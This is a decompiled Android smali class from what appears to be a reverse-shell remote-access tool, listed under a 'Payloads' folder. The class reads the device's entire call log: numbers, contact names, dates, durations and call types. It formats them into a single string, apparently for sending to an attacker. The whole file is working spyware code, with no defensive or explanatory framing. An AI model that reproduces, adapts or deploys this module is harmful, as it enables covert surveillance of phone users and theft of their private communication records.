Path: blob/master/Compiled_apk/smali/com/example/reverseshell2/Payloads/readCallLogs.smali
2476 views
.class public Lcom/example/reverseshell2/Payloads/readCallLogs; .super Ljava/lang/Object; .source "readCallLogs.java" # instance fields .field activity:Landroid/app/Activity; .field call_logs:Ljava/lang/String; .field context:Landroid/content/Context; # direct methods .method public constructor <init>(Landroid/content/Context;Landroid/app/Activity;)V .locals 0 .param p1, "context" # Landroid/content/Context; .param p2, "activity" # Landroid/app/Activity; .line 18 invoke-direct {p0}, Ljava/lang/Object;-><init>()V .line 19 iput-object p1, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->context:Landroid/content/Context; .line 20 iput-object p2, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->activity:Landroid/app/Activity; .line 21 return-void .end method # virtual methods .method public readLogs()Ljava/lang/String; .locals 14 .line 25 const-string v0, "content://call_log/calls" invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; move-result-object v0 .line 26 .local v0, "allCalls":Landroid/net/Uri; iget-object v1, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->activity:Landroid/app/Activity; const/4 v3, 0x0 const/4 v4, 0x0 const/4 v5, 0x0 const/4 v6, 0x0 move-object v2, v0 invoke-virtual/range {v1 .. v6}, Landroid/app/Activity;->managedQuery(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor; move-result-object v1 .line 29 .local v1, "c":Landroid/database/Cursor; :try_start_0 invoke-interface {v1}, Landroid/database/Cursor;->moveToFirst()Z move-result v2 if-eqz v2, :cond_1 .line 30 const/4 v2, 0x0 .local v2, "i":I :goto_0 invoke-interface {v1}, Landroid/database/Cursor;->getCount()I move-result v3 :try_end_0 .catch Ljava/lang/NullPointerException; {:try_start_0 .. :try_end_0} :catch_0 const-string v4, "\n" if-ge v2, v3, :cond_0 .line 31 :try_start_1 invoke-static {v2}, Ljava/lang/String;->valueOf(I)Ljava/lang/String; move-result-object v3 .line 32 .local v3, "iterator":Ljava/lang/String; const-string v5, "number" invoke-interface {v1, v5}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I move-result v5 invoke-interface {v1, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; move-result-object v5 .line 33 .local v5, "num":Ljava/lang/String; const-string v6, "name" invoke-interface {v1, v6}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I move-result v6 invoke-interface {v1, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; move-result-object v6 .line 34 .local v6, "name":Ljava/lang/String; const-string v7, "duration" invoke-interface {v1, v7}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I move-result v7 invoke-interface {v1, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; move-result-object v7 .line 35 .local v7, "duration":Ljava/lang/String; const-string v8, "type" invoke-interface {v1, v8}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I move-result v8 invoke-interface {v1, v8}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; move-result-object v8 invoke-static {v8}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I move-result v8 .line 36 .local v8, "type":I const-string v9, "date" invoke-interface {v1, v9}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I move-result v9 invoke-interface {v1, v9}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; move-result-object v9 .line 37 .local v9, "callDate":Ljava/lang/String; new-instance v10, Ljava/util/Date; invoke-static {v9}, Ljava/lang/Long;->valueOf(Ljava/lang/String;)Ljava/lang/Long; move-result-object v11 invoke-virtual {v11}, Ljava/lang/Long;->longValue()J move-result-wide v11 invoke-direct {v10, v11, v12}, Ljava/util/Date;-><init>(J)V .line 38 .local v10, "callDayTime":Ljava/util/Date; new-instance v11, Ljava/lang/StringBuilder; invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V const-string v12, "#" invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v11, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; const-string v12, "\nNumber : " invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v11, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; const-string v12, "\nName : " invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; const-string v12, "\nDate : " invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v11, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; const-string v12, "\nDuration : " invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v11, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; const-string v12, "\nType : " invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v11, v8}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; invoke-virtual {v11, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v11 .line 41 .local v11, "fi":Ljava/lang/String; new-instance v12, Ljava/lang/StringBuilder; invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V iget-object v13, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->call_logs:Ljava/lang/String; invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v12, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v12, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v4 iput-object v4, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->call_logs:Ljava/lang/String; .line 42 invoke-interface {v1}, Landroid/database/Cursor;->moveToNext()Z .line 30 nop .end local v3 # "iterator":Ljava/lang/String; .end local v5 # "num":Ljava/lang/String; .end local v6 # "name":Ljava/lang/String; .end local v7 # "duration":Ljava/lang/String; .end local v8 # "type":I .end local v9 # "callDate":Ljava/lang/String; .end local v10 # "callDayTime":Ljava/util/Date; .end local v11 # "fi":Ljava/lang/String; add-int/lit8 v2, v2, 0x1 goto/16 :goto_0 .line 44 .end local v2 # "i":I :cond_0 new-instance v2, Ljava/lang/StringBuilder; invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V iget-object v3, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->call_logs:Ljava/lang/String; invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v2 iput-object v2, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->call_logs:Ljava/lang/String; :try_end_1 .catch Ljava/lang/NullPointerException; {:try_start_1 .. :try_end_1} :catch_0 .line 48 :cond_1 goto :goto_1 .line 46 :catch_0 move-exception v2 .line 47 .local v2, "e":Ljava/lang/NullPointerException; const-string v3, " " iput-object v3, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->call_logs:Ljava/lang/String; .line 49 .end local v2 # "e":Ljava/lang/NullPointerException; :goto_1 iget-object v2, p0, Lcom/example/reverseshell2/Payloads/readCallLogs;->call_logs:Ljava/lang/String; return-object v2 .end method